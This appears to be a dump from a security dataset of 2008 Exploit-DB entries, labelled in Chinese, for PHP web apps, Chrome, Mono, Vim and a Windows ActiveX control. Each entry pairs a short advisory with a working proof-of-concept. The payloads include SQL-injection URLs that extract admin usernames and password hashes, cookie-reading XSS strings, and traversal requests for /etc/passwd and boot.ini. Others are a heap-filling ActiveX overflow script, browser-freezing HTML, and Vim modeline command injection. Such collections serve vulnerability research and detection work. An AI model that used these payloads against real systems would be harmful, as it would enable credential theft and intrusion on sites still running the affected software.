QLWD/code_shield huggingface dataset:
标题: eliteCMS 1.0 - 'page' SQL Injection EDB-ID: 32316 CVE: 2008-4046 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/30990/info

eliteCMS is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.

Attackers may exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

eliteCMS 1.0 and 1.01 are vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=-1%20union%20all%20select%201,2,3,4,user_name,h_password%20from%20users/*

http://www.example.com/index.php?page=-1'+union+select+1,concat(user_name,0x3a,h_password),3,4,5,6,7,8,9,10,11+from+users+limit+0,1/* URL: https://www.exploit-db.com/exploits/32316
标题: XRms 1.99.2 - 'opportunity_title' Cross-Site Scripting EDB-ID: 32324 CVE: 2008-3664 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/31008/info
     
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
http://www.example.com/xrms/opportunities/some.php?opportunity_title="><script>alert(1);</script> URL: https://www.exploit-db.com/exploits/32324
标题: XRms 1.99.2 - 'title' Cross-Site Scripting EDB-ID: 32320 CVE: 2008-3664 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/31008/info
 
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/xrms/activities/some.php?title="><script>alert(1);</script> URL: https://www.exploit-db.com/exploits/32320
标题: OpenDB 1.0.6 - 'listings.php?title' Cross-Site Scripting EDB-ID: 32314 CVE: 2008-3937 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/30989/info
 
Open Media Collectors Database (OpenDb) is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
OpenDb 1.0.6 is vulnerable; other versions may also be affected. 

http://www.example.com/listings.php?search_list=y&linked_items=include&title_match=partial&title=<img/src/onerror=alert(document.cookie)> URL: https://www.exploit-db.com/exploits/32314
标题: XRms 1.99.2 - 'company_name' Cross-Site Scripting EDB-ID: 32321 CVE: 2008-3664 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/31008/info
  
XRMS CRM is prone to multiple input-validation vulnerabilities, including an unspecified SQL-injection issue, an HTML-injection issue, and multiple cross-site scripting issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/xrms/companies/some.php?company_name="><script>alert(1);</script> URL: https://www.exploit-db.com/exploits/32321
标题: OpenDB 1.0.6 - 'user_profile.php?redirect_url' Cross-Site Scripting EDB-ID: 32315 CVE: 2008-3937 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/30989/info
  
Open Media Collectors Database (OpenDb) is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
OpenDb 1.0.6 is vulnerable; other versions may also be affected. 

http://www.example.com/user_profile.php?uid=[USERNAME]&subject=No+Subject&redirect_link=Back+to+Statistics&redirect_url=javascript:alert(document.cookie) URL: https://www.exploit-db.com/exploits/32315
标题: OpenDB 1.0.6 - 'user_admin.php?user_id' Cross-Site Scripting EDB-ID: 32313 CVE: 2008-3937 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/30989/info

Open Media Collectors Database (OpenDb) is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

OpenDb 1.0.6 is vulnerable; other versions may also be affected. 

http://www.example.com/user_admin.php?op=edit&user_id=<img/src/onerror=alert(document.cookie)> URL: https://www.exploit-db.com/exploits/32313
标题: Softalk Mail Server 8.5.1 - 'APPEND' Remote Denial of Service EDB-ID: 32310 CVE: 2008-4041 类型: DOS 平台: MULTIPLE 发布日期: 2008-09-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/30970/info

Softalk Mail Server is prone to a remote denial-of-service vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.
Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

Softalk Mail Server 8.5.1 is vulnerable; other versions may also be affected. 

APPEND Ax5000 (UIDNEXT MESSAGES) URL: https://www.exploit-db.com/exploits/32310
标题: Google Chrome 0.2.149 - Malformed 'title' Tag Remote Denial of Service EDB-ID: 32311 CVE: 2008-7061 类型: DOS 平台: MULTIPLE 发布日期: 2008-09-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/30975/info

Google Chrome is prone to a remote denial-of-service vulnerability because it fails to handle user-supplied input.

Attackers can exploit this issue to make the application unresponsive, denying service to legitimate users.

Google Chrome 0.2.149.27 is vulnerable; other versions may also be affected.

NOTE: Reports indicate that this issue may not be exploitable as described and may depend on a particular WebKit configuration. 

<!-- Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit Exploit written by Exodus. http://www.blackhat.org.il http://www.blackhat.org.il/index.php/ready-set-chrome/ http://www.blackhat.org.il/exploits/chrome-freeze-exploit.html --> <HTML> <HEAD> <TITLE> Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit</TITLE> <SCRIPT language="JavaScript"> function buff(len) { var buffer; for(var i = 0; i != len; i++) { buffer += 'E';} return buffer; } </SCRIPT> </HEAD> <SCRIPT> document.write('<body title=\"' + buff(31337) + '\">'); </SCRIPT> </BODY> </HTML> URL: https://www.exploit-db.com/exploits/32311
标题: vTiger CRM 5.0.4 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32307 CVE: 2008-3101 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/30951/info

vtiger CRM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

vtiger CRM 5.0.4 is vulnerable; other versions may also be affected.

http://www.example.com/vtigercrm/index.php?module=Products&action=index&parenttab="><script>alert(1);</script>
http://www.example.com/vtigercrm/index.php?module=Users&action=Authenticate&user_password="><script>alert(1);</script>
http://www.example.com/vtigercrm/index.php?module=Home&action=UnifiedSearch&query_string="><script>alert(1);</script> URL: https://www.exploit-db.com/exploits/32307
标题: Full PHP Emlak Script - 'landsee.php' SQL Injection EDB-ID: 32309 CVE: 2008-3942 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/30962/info

Full PHP Emlak Script is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.

Attackers may exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/Script/landsee.php?id=-9+union+select+1,2,3,concat(username,0x3a,sifre),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75+FROM+admin-- URL: https://www.exploit-db.com/exploits/32309
标题: RedHat 8/9 - Directory Server Crafted Search Pattern Denial of Service EDB-ID: 32304 CVE: 2008-2930 类型: DOS 平台: LINUX 发布日期: 2008-08-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/30871/info

Red Hat Directory Server is prone to a denial-of-service vulnerability because the server fails to handle specially crafted search patterns.

An attacker can exploit this issue to consume CPU resources with one search request, effectively blocking additional search requests from executing. Legitimate users may be prevented from authenticating to network resources that use the affected server for authentication.

Red Hat Directory Server 7.1 and 8 are affected. 

The following example regular expressions are available:

2.6/AV:N/AC:H/Au:N/C:N/I:N/A:P
4.0/AV:N/AC:L/Au:S/C:N/I:N/A:P URL: https://www.exploit-db.com/exploits/32304
标题: Mono 2.0 - 'System.Web' HTTP Header Injection EDB-ID: 32303 CVE: 2008-3906 类型: REMOTE 平台: LINUX 发布日期: 2008-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/30867/info

Mono is prone to a vulnerability that allows attackers to inject arbitrary HTTP headers because it fails to sanitize input.

By inserting arbitrary headers into an HTTP response, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTTP-request-smuggling, and other attacks.

This issue affects Mono 2.0 and earlier. 

<script runat="server"> void Page_Load(object o, EventArgs e) { // Query parameter text is not checked before saving in user cookie NameValueCollection request = Request.QueryString; // Adding cookies to the response Response.Cookies["userName"].Value = request["text"]; } </script> URL: https://www.exploit-db.com/exploits/32303
标题: Smart Survey 1.0 - 'surveyresults.asp' Cross-Site Scripting EDB-ID: 32297 CVE: 2008-4051 类型: WEBAPPS 平台: ASP 发布日期: 2008-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/30841/info

Smart Survey is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Smart Survey 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/surveyresults.asp?folder=/123adminxyz/SmartSurve/&title=example.com&sid=[XSS] URL: https://www.exploit-db.com/exploits/32297
标题: Bluemoon inc. PopnupBlog 3.30 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32296 CVE: 2008-4053 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/30827/info

Bluemoon inc. PopnupBlog is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PopnupBlog 3.30 is affected; other versions may also be vulnerable.

http://www.example.com/modules/popnupblog/index.php?param=1">[XSS-CODE]&start=0,10&cat_id=&view=1 http://www.example.com/modules/popnupblog/index.php?param=&start=0,10&cat_id=">[XSS-CODE]&view=1 http://www.example.com/modules/popnupblog/index.php?param=&start=0,10&cat_id=&view=1">[XSS-CODE] URL: https://www.exploit-db.com/exploits/32296
标题: MatterDaddy Market 1.1 - 'login.php' Cross-Site Scripting EDB-ID: 32299 CVE: 2008-4056 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/30848/info

MatterDaddy Market is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

MatterDaddy Market 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/dir(s)/admin/login.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/32299
标题: Simasy CMS - 'id' SQL Injection EDB-ID: 32284 CVE: 2008-3774 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/30774/info

Simasy CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com.com/index.php?page=8&id=95+AND+1=0+UNION+SELECT+ALL+1,group_concat(username,0x3a,email,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3+from+users/* URL: https://www.exploit-db.com/exploits/32284
标题: PicturesPro Photo Cart 3.9 - Search Cross-Site Scripting EDB-ID: 32291 CVE: 2008-3786 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/30798/info

Photo Cart is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Photo Cart 3.9 is vulnerable; other versions may also be affected. 

POST <script>alert(document.cookie)</script> to "Gallery or event name" field URL: https://www.exploit-db.com/exploits/32291
标题: FAR-PHP 1.0 - 'index.php' Local File Inclusion EDB-ID: 32287 CVE: 2008-4741 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/30781/info

FAR-PHP is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

http://www.example.com/farver/index.php?c=/../../../../../../../../boot.ini%00 URL: https://www.exploit-db.com/exploits/32287
标题: Accellion File Transfer - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32290 CVE: 2008-3850 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/30796/info


Accellion File Transfer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Accellion File Transfer FTA_7_0_135 is vulnerable; prior versions may also be affected. 

https://www.example.com/courier/forgot_password.html/>"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/32290
标题: One-News - Multiple Input Validation Vulnerabilities EDB-ID: 32293 CVE: 2008-7059 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/30804/info

One-News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and multiple HTML-injection issues. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Beta 2 of One-News is prone to these issues. 

http://www.example.com/onenews_beta2/index.php?q=3' and 1=2 union select 1,2,3/* URL: https://www.exploit-db.com/exploits/32293
标题: Scripts4Profit DXShopCart 4.30 - 'pid' SQL Injection EDB-ID: 32283 CVE: 2008-4744 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/30772/info

DXShopCart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DXShopCart 4.30mc is vulnerable; other versions may also be affected. 

http://www.example.com.com/product_detail.php?cid=12&pid=-1+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16-- URL: https://www.exploit-db.com/exploits/32283
标题: Fujitsu Web-Based Admin View 2.1.2 - Directory Traversal EDB-ID: 32286 CVE: 2008-3776 类型: REMOTE 平台: LINUX 发布日期: 2008-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/30780/info

Fujitsu Web-Based Admin View is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. This issue occurs in the application's HTTP server.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks.

Web-Based Admin View 2.1.2 is vulnerable; other versions may also be affected.


The following example is available:

GET /.././.././.././.././.././.././.././.././.././etc/passwd HTTP/1.0
Host: www.example.com:8081 URL: https://www.exploit-db.com/exploits/32286
标题: Microsoft Windows Media Services 'nskey.dll' 4.1 - ActiveX Control Remote Buffer Overflow EDB-ID: 32294 CVE: 2008-5232 类型: DOS 平台: WINDOWS 发布日期: 2008-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/30814/info

The Microsoft Windows Media Services ActiveX control is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

An attacker can exploit this issue to execute arbitrary code in the context of an application using the affected ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.

'nskey.dll' 4.1.00.3917 is vulnerable; other versions may also be affected. 

<html><body>

<object id=target classid=clsid:2646205B-878C-11D1-B07C-0000C040BCDB></object>
<script language=vbscript>

arg1=String(9752, "A")
target.CallHTMLHelp arg1

</script>
</body></html> URL: https://www.exploit-db.com/exploits/32294
标题: vBulletin 3.6.10/3.7.2 - '$newpm[title]' Cross-Site Scripting EDB-ID: 32285 CVE: 2008-3773 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/30777/info

vBulletin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

vBulletin 3.7.2 Patch Level 1 and vBulletin 3.6.10 Patch Level 3 are vulnerable; other versions may also be affected. 

--></script><script>alert(/xss/.source)</script><!-- URL: https://www.exploit-db.com/exploits/32285
标题: YourFreeWorld Ad-Exchange Script - 'id' SQL Injection EDB-ID: 32280 CVE: 2008-3752 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/30762/info

YourFreeWorld Ad-Exchange Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com.com/Script/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings-- URL: https://www.exploit-db.com/exploits/32280
标题: TimeTrex Time 2.2 and Attendance Module - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32288 CVE: 2008-4742 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/30789/info

TimeTrex is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

TimeTrex versions 2.2.12 and previous are vulnerable. 

http://www.example.com/interface/Login.php?user_name=admin&password=XSS
http://www.example.com/interface/Login.php?user_name=XSS URL: https://www.exploit-db.com/exploits/32288
标题: Vim 7.1.314 - Insufficient Shell Escaping Multiple Command Execution Vulnerabilities EDB-ID: 32289 CVE: 2008-4101 类型: REMOTE 平台: LINUX 发布日期: 2008-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/30795/info

Vim is prone to multiple command-execution vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Successfully exploiting these issues can allow an attacker to execute arbitrary commands with the privileges of the user running the affected application.

Versions prior to Vim 7.2.010 are vulnerable. 

Copy-and-paste these examples into separate files:

;xclock
vim: set iskeyword=;,@

Place your cursor on ``xclock'', and press K. xclock appears.

;date>>pwned
vim: set iskeyword=1-255

Place your cursor on ``date'' and press K. File ``pwned'' is created in
the current working directory.

Please note: If modeline processing is disabled, set the 'iskeyword'
option manually. URL: https://www.exploit-db.com/exploits/32289